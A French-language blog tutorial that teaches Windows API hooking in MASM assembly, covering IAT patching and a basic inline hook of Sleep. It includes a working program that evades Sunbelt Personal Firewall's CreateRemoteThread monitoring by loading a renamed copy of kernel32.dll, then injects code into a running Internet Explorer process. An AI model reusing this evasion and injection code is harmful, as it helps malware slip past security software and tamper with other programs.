Auteur

Auteur: Faiseur

dimanche 25 juillet 2010

API HOOK EN ASSEMBLEUR - PARTIE 1




Tutoriel réalisé par Faiseur

Niveau: [ Intermédiaire - Confirmé ]




AVANT-PROPOS

Le détournement d'API est un thème particulier à aborder étant donné qu'il est régulièrement utilisé de manière à cacher des processus en mémoire ou leurs fichiers dans le système. On parle alors de rootkits. Mais le hook d'API peut être utilisé de manière tout à fait constructive et profitable, par exemple pour permettre à un programme de sécurité de surveiller votre système ou d'agir en fonction de certaines actions de l'utilisateur (j'ai par exemple utilisé un hook d'API pour un programme maison de cryptage de fichiers).

On peut remarquer que c'est un secret de polichinelle de ne pas avoir d'exemple disponible en langage assembleur alors qu'il en existe dans d'autres langages (C/C++/Delphi pour l'essentiel). Certaines personnes font payer des librairies de ce type bien qu'il soit possible d'en réaliser sans difficulté pour autant d'en avoir correctement assimilé le principe. C'est un peu le but souhaité par ce tutoriel, qui est séparé en trois parties pour passer en revue une méthode de Hook régulièrement utilisée, en commençant par son squelette jusqu'à son développement complet. Les exemples proposés sont expliqués en détail. J'espère qu'ils seront suffisamment simples et clairs pour permettre à tout amateur sérieux d'en tirer profit. Je dois ici remercier particulièrement Jag pour son exemple "JagHook" qui m'a servit de repère.



INTRODUCTION


Il existe plusieurs moyens pour permettre à un programme d'intercepter des fonctions API Windows, que je résumerai ici de trois manières bien qu'il y en ait d'autres:

1. Détournement d'une fonction API par émulation d'une dll système
2. Détournement d'une fonction API par patch d'IAT
3. Détournement d'une fonction API en inline hook



1. Détournement d'une fonction API par émulation d'une dll système

Cette méthode consiste à forcer le programme cible à charger une dll qui émule une dll système, par exemple une fausse 'user32.dll'. Avec ce procédé on peut prendre la main lors de chaque appel de fonction API. Cette méthode est très puissante mais très fastidieuse puisqu'il vous faudrait émuler toutes les fonctions d'une dll pour que celle-ci puisse être chargée en remplacement de l'originale. Or les dll système en contiennent énormément. De plus depuis Windows Vista en tout cas il est rendu plus difficile - voir impossible ? - d'émuler correctement une dll du système par une dll maison. Cette méthode n'est, à ma connaissance, pas utilisée pour ce type d'application, mais peut être mise en place plus facilement pour remplacer les fonctions d'une dll plus petite, par exemple émuler une dll annexe qu'un programme utilise et ainsi prendre la main.



2. Détournement d'une fonction API par patch d'IAT

Cette méthode est bien plus simple, il s'agit de patcher l'IAT. Kesako ? L'IAT, ou l’Import Address Table (table des imports en français), est une structure placée dans le corps du programme lors de sa compilation. Cette structure va permettre, lorsque le programme sera exécuté, d'accéder à l'adresse réelle des fonctions API. En effet les adresses des API ne sont pas directement connues par le programme. L'IAT est utilisé comme un tableau que le programme consulte pour accéder aux adresses réelles d'une fonction API.

Autrement dit: lors de son exécution le programme est chargé en mémoire, les DLL requises également. Lors de l’appel à une API le programme fait un call indirect vers l’IAT, qui retourne vers la véritable adresse de la fonction. Pour procéder à l'interception d'une fonction API appelée par le programme il suffit donc de remplacer cette adresse dans l'IAT par l'adresse de notre fonction d'interception.

Cette méthode est pratique mais souffre de deux problèmes:

- Il n'est pas possible de hook la fonction d'une dll si elle ne se trouve pas dans l'IAT.

- Il est aisé de contourner cette méthode en se servant de GetProcAddress. La fonction GetProcAddress permet en effet d’obtenir l’adresse d’une API dont la DLL est chargée dans l’espace d’adressage du programme. Cette adresse n'est pas retournée depuis l'IAT mais bel et bien depuis l’adresse de la première instruction de l’API. Si le programme appelle l’API via son adresse retournée par GetProcAddress, le hook n’aura pas lieu.

A titre d'annexe (et comme j'en ai fait un) voici un exemple tout à fait actuel illustrant ce problème. L'exemple qui suit bypass le hook de Sunbelt Personal Firewall dans sa dernière version 4.6.1861.

Sunbelt avertit en effet lors de l'utilisation d'une injection de code, plus précisément lorsqu'un programme fait appel à l'API "CreateRemoteThread". Nous allons, dans cet exemple, unhook cette API afin d'injecter du code dans un processus d'Internet Explorer (s'il existe) sans alerte.


Le procédé est simple:
- le programme fait une copie de la dll "kernel32.dll" sous un autre nom
- charge la dll renommée dans son processus
- appelle les fonctions de cette "nouvelle" dll à la place de l'ancienne

Code:

    ; ___________________________________________________
    ;|                                                  |
    ;| UnHook Sunbelt Firewall      by Faiseur          |
    ;| *Functional version*                              |
    ;|___________________________________________________|
    ;|                                                  |
    ;| This version unhook "CreateRemoteThread" API      |
    ;| and inject code in Internet Explorer if run.      |
    ;| UnHook Sunbelt Personal Firewall                  |   
    ;| in this ultimate version (4.6.1861, april 2010 !) |
    ;|___________________________________________________|   


  .386
    .model flat, stdcall
    option casemap :none
   
    include \masm32\include\windows.inc
    include \masm32\include\kernel32.inc
    include \masm32\include\user32.inc
    includelib \masm32\lib\kernel32.lib
    includelib \masm32\lib\user32.lib
    include \masm32\macros\macros.asm

    .data?
    Pathkernel32        db 261 dup(?)
    kernal33            db 261 dup(?)
    _CreateRemoteThread    dd ?
    hMod                dd ?
    hNewModule            dd ?
    hProc                dd ?
    dwPid                dd ?
    dWritten            dd ?
    dwTid                dd ?   
   
    .code

    HijackedThread proc
        fn MessageBox, 0,"Inject !","Yes", 0
        invoke ExitThread, 0
        ret
    HijackedThread endp

    start:
    invoke GetSystemDirectory, addr Pathkernel32, MAX_PATH
    invoke GetSystemDirectory, addr kernal33,MAX_PATH
    fn lstrcat,addr Pathkernel32,"\kernel32.dll" 
    fn lstrcat, addr kernal33,"\kernal33.dll" 
    invoke CopyFile, addr Pathkernel32,addr kernal33, FALSE
    test eax, eax
    jz @F

    fn GetProcAddress,FUNC(LoadLibrary,addr kernal33),"CreateRemoteThread"
    test eax, eax
    jz @F
    mov _CreateRemoteThread, eax
   
    mov hMod,FUNC (GetModuleHandle, 0)
    invoke GetWindowThreadProcessId,FUNC(FindWindow,chr$("IEFrame"),0), addr dwPid
    mov hProc,FUNC (OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwPid)
    invoke VirtualFreeEx, hProc, hMod, 0, MEM_RELEASE
    invoke WriteProcessMemory,hProc,FUNC(VirtualAllocEx,hProc,hMod,12288,1000h or 2000h,040h),hMod,12288,addr dWritten

    push offset dwTid
    push 0
    push hMod
    push offset HijackedThread
    push 0
    push 0
    push hProc
    call _CreateRemoteThread ; on Unhook Sunbelt Firewall (ex-Kairo) :)
   
    @@:
    invoke    ExitProcess,0
    end start



Comment éviter d'être si facilement contourné tout en réalisant un hook simple comme le patch d'IAT ? Une réponse a été trouvée: plutôt que patcher l'IAT patcher directement l'API, méthode plus communément appelée "inline hook".



3. Détournement d'une fonction API en inline hook

Cette méthode consiste à patcher directement la fonction API que nous souhaitons détourner. Elle a l'avantage d'être bien moins facilement contournable qu'un patch d'IAT. Cela peut se faire avec un exécutable par injection de code ou encore une dll mappée dans le processus cible.

Au cours des trois parties qui forment ce tutoriel nous allons élaborer une librairie complète qui permettra de détourner n'importe quelle API dans un processus cible et également de la désinstaller. J'espère que les explications qui suivent seront suffisamment détaillées dans leur progression pour vous permettre de mettre en place votre propre version d'un Hook, qui est plus simple à faire qu'on ne le pense. Surtout en langage assembleur car on touche ici à des domaines qui concernent directement ce langage. Comme vous le verrez il est possible de coder, en langage assembleur, un exécutable de 2,5ko qui hook par injection un processus en mémoire. Il est même possible de faire plus petit selon ce qui sera demandé...



INLINE HOOK


La méthode inline hook consiste à placer un saut de redirection dès le début de l’API ciblée. Lorsque notre exécutable va se rendre à l'adresse de l'API il sera redirigé vers une seconde adresse correspondant à notre routine d'interception. Pour ce faire, il suffit de placer au début du code de la fonction cible un saut vers notre routine d’interception.

Une image vaut mieux qu'un long discours et je me permet d'utiliser ici un schéma trouvé ailleurs:



Explication:

Notre processus à gauche appelle une fonction API (call API). Cet appel est, pour rappel, indirect comme nous l'avons vu avec le patch d'IAT. Disons que notre processus fait un appel à l'API MessageBox. Notre processus est d'abord envoyé dans le tableau des imports (IAT) qui, ensuite, le dirige vers l'adresse réelle de la fonction MessageBox. Au début de la fonction MessageBox nous aurons placé un saut (jmp hook) qui redirige vers notre routine d'interception, symbolisée dans l'image par le "handler de hook". Une fois que le "handler de hook" a terminé son travail, bref une fois que nous aurons terminé notre interception, nous rendons la main à la fonction originale comme si de rien n'était.

A présent que le principe a été explique il ne nous reste plus qu'à mettre cela en pratique. Réalisons donc notre premier hook basique en assembleur qui va tenir sur...900 octets !

Cet exécutable va s'occuper de:

1. Trouver l'adresse de l'API Sleep
2. Patcher les premières instructions de l'API pour réaliser un saut vers une fonction d'interception.
3. Exécuter notre fonction d'interception lorsque la fonction Sleep est appelée



1. Trouver l'adresse de l'API Sleep

Pour rappel, nous pouvons trouver l'adresse de n'importe quelle fonction API d'une dll de deux manières:
- en nous servant de GetModuleHandle puis GetProcAddress
- en nous servant de LoadLibrary puis GetProcAddress

GetModuleHandle renvoie le handle si le module est chargé dans l’espace d’adressage du programme, ou NULL si le module n’est pas chargé dans l’espace d’adressage. Etant donné que notre hook doit pouvoir être utilisé dans toutes les situations - et pour préparer le développement à venir de notre hook - ma préférence va vers LoadLibrary/GetProcAddress.

LoadLibrary charge la dll en mémoire si elle ne l'y était pas encore, contrairement à GetModuleHandle. Nous pouvons prévenir les situations où la dll ne serait pas chargée dès le début du programme et hooker de manière préventive. Dans le cas où la dll n'était pas chargée, libérer la dll à la fin du programme avec FreeLibrary serait plus respectueux du codage Windows. Cela est évidemment difficile à mettre en place puisque nous n'aurons pas la main du programme à tout moment à moins d'implémenter, par exemple, un hook de l'API ExitProcess.

J'utilise dans mes exemples la macro "LoadProcAddress", qui permet de récupérer l'adresse d'une fonction en une ligne.



2. Patcher les premières instructions de l'API pour réaliser un saut vers une fonction d'interception.

Le patch de la fonction API doit suivre certaines restrictions pour être le plus respectueux possible:

- Patcher dès les premières instructions de la fonction API
- Sauvegarder le code original de la fonction API dans un stub pour l'appeler à la fin de son interception
- Insérer un saut qui ne fasse pas intevenir une variable ou un registre.



Calcul du saut:

Il s'agit de calculer une adresse mémoire qui sera directement placée comme référence du saut. Ce ne sera donc pas une valeur placée dans une variable ou un registre, ce qui compliquerait et rallongerait le code. Il nous faut trouver un saut qui permet ce saut direct.

Exemple: jmp 800000

Ce type de saut existe, il s'agit du saut relatif. Le saut relatif implique que l'adresse doit correspondre à un déplacement par rapport à l’instruction suivant le saut.

L’instruction du saut relatif 32bits prend 5 octets, elle est codée comme ceci:
Code:

E9 00 00 00 00


'E9' correspond au code hexadécimal du saut, puis suit l'adresse du saut.


Le calcul de la valeur du déplacement relatif sera pour nous une soustraction suivant cette formule:

[fonction d'interception] – [adresse API] - 5

Explication:

Pour trouver l'adresse de saut jusqu'à notre fonction d'interception on commence par déduire l'adresse de notre API étant donné que nous partons déjà de là. C'est comme avoir fait la moitié d'un chemin: il nous faut calculer la distance restant jusqu'à l'arrivée, notre fonction d'interception. Il est nécessaire de déduire également la taille de l'instruction de saut dans les paramètres pour parfaire le calcul, donc 5 octets.

Avec cette méthode peu importe si l'adresse de destination est supérieure ou inférieure à notre adresse de départ. Le résultat du saut nous mènera toujours à bon port.



3. Exécuter notre fonction d'interception lorsque la fonction Sleep est appelée

Lorsque le programme arrive sur la fonction ciblée il se trouve redirigé vers notre fonction d'interception. Rien de spécial à signaler si ce n'est que cette fonction d'interception doit être capable, une fois qu'elle a finit son travail, de retourner à l'API d'origine. Pour notre premier exemple, qui se veut le plus simple possible, ce ne sera pas le cas.




EXEMPLE 1

Dans notre premier exemple nous allons réaliser un programme qui se hook lui-même. Le hook va intercepter la fonction API "Sleep" qui sera utilisée trois fois dans le programme. La fonction API Sleep doit installer une pause, mais ce ne sera plus le cas. Cette pause sera interceptée et remplacée par une MessageBox. Voici le code au complet.

HookExemple1.asm
Code:

   comment *
   Exemple d'interception d'API en user mode de type inline hook
   par Faiseur
   *

   .386
   .model FLAT,STDCALL
   option casemap:none
   include \masm32\include\Windows.inc
   include \masm32\include\user32.inc
   include \masm32\include\kernel32.inc
   includelib \masm32\lib\user32.lib
   includelib \masm32\lib\kernel32.lib

   include \masm32\macros\macros.asm

   .data
      targetHook   dd 0

   .code

ExecuteHook PROC dwMilliseconds:DWORD
   fn MessageBox,0,chr$("Fonction API Sleep Hooked !"),"Message",0
   ret
ExecuteHook endp

InstallHook proc uses ebx edi hookProc:DWORD, target:DWORD
   LOCAL lpflOldProtect:ULONG
 
   mov edi, target
   invoke VirtualProtect, edi,5, PAGE_EXECUTE_READWRITE, addr lpflOldProtect
 
   mov eax, hookProc
   sub eax, edi
   sub eax, 5
 
   mov BYTE PTR [edi], 0E9h
   mov [edi + 1], eax
   ret
InstallHook endp

start:
   LoadProcAddress "kernel32.dll","Sleep"
   test eax,eax
   je @F

   invoke InstallHook, ExecuteHook,eax
 
   invoke Sleep,2000
   invoke Sleep,2000
   invoke Sleep,2000    
   @@:
   invoke ExitProcess, NULL
end start



Notez la petitesse du code !




ANALYSE DE L'EXEMPLE 1

On utilise une macro pour retourner dans le registre EAX l'adresse de la fonction souhaitée:
Code:
LoadProcAddress "kernel32.dll","Sleep"



On lance la procédure pour installer le Hook:
Code:
invoke InstallHook, ExecuteHook,eax



La procédure de Hook récupère l'adresse de notre fonction d'interception (hookProc) et l'adresse de l'API cible (target):
Code:
InstallHook proc uses ebx edi hookProc:DWORD, target:DWORD



Voici notre procédure de Hook qui fait tout le travail, il y a très peu de code mais il est pleinement fonctionnel. Nous avons ici le noyau d'un hook qui sera progressivement développé:
Code:

InstallHook proc uses ebx edi hookProc:DWORD, target:DWORD
   LOCAL lpflOldProtect:ULONG
 
   mov edi, target
   invoke VirtualProtect, edi,5, PAGE_EXECUTE_READWRITE, addr lpflOldProtect
 
   mov eax, hookProc
   sub eax, edi
   sub eax, 5
 
   mov BYTE PTR [edi], 0E9h
   mov [edi + 1], eax
   ret
InstallHook endp


Explication:

Nous plaçons dans le registre EDI l'adresse de la fonction Sleep (target).

Il faut ensuite permettre l'accès en écriture dans la partie de la mémoire correspondant à l'API Sleep pour modifier ses premières instructions (5 octets uniquement pour la taille de l'instruction de saut), ce que l'on fait en nous servant de l'API "VirtualProtect".

Comme vu plus haut nous calculons la valeur du saut à effectuer: fonction d'interception (hookProc) moins API Sleep moins longueur de l'instruction de saut.
Code:

   mov eax, hookProc
   sub eax, edi
   sub eax, 5


Il ne reste plus qu'à patcher le début de l'API ciblée avec notre saut relatif. Le saut relatif correspond au code 'E9' que nous plaçons en premier. Puis l'adresse du saut relatif est placée à l'octet suivant.
Code:

   mov BYTE PTR [edi], 0E9h
   mov [edi + 1], eax



La fonction d'interception est la suivante:
Code:

ExecuteHook PROC dwMilliseconds:DWORD
 
   fn MessageBox,0,chr$("Fonction API Sleep Hooked !"),"Message",0
   ret
ExecuteHook endp


Résultat: 'ExecuteHook' va afficher une MessageBox à chaque appel de la fonction 'Sleep' :)

Note: en utilisant polink avec les bons paramètres de compilation vous pouvez en faire un exécutable étonnamment petit (inférieur à 1ko, si si).

Ce Hook est très basique. Il ne tient pas compte de plusieurs paramètres utiles qui seront développés dans la deuxième et troisième partie.


Faiseur

0 commentaires:

Enregistrer un commentaire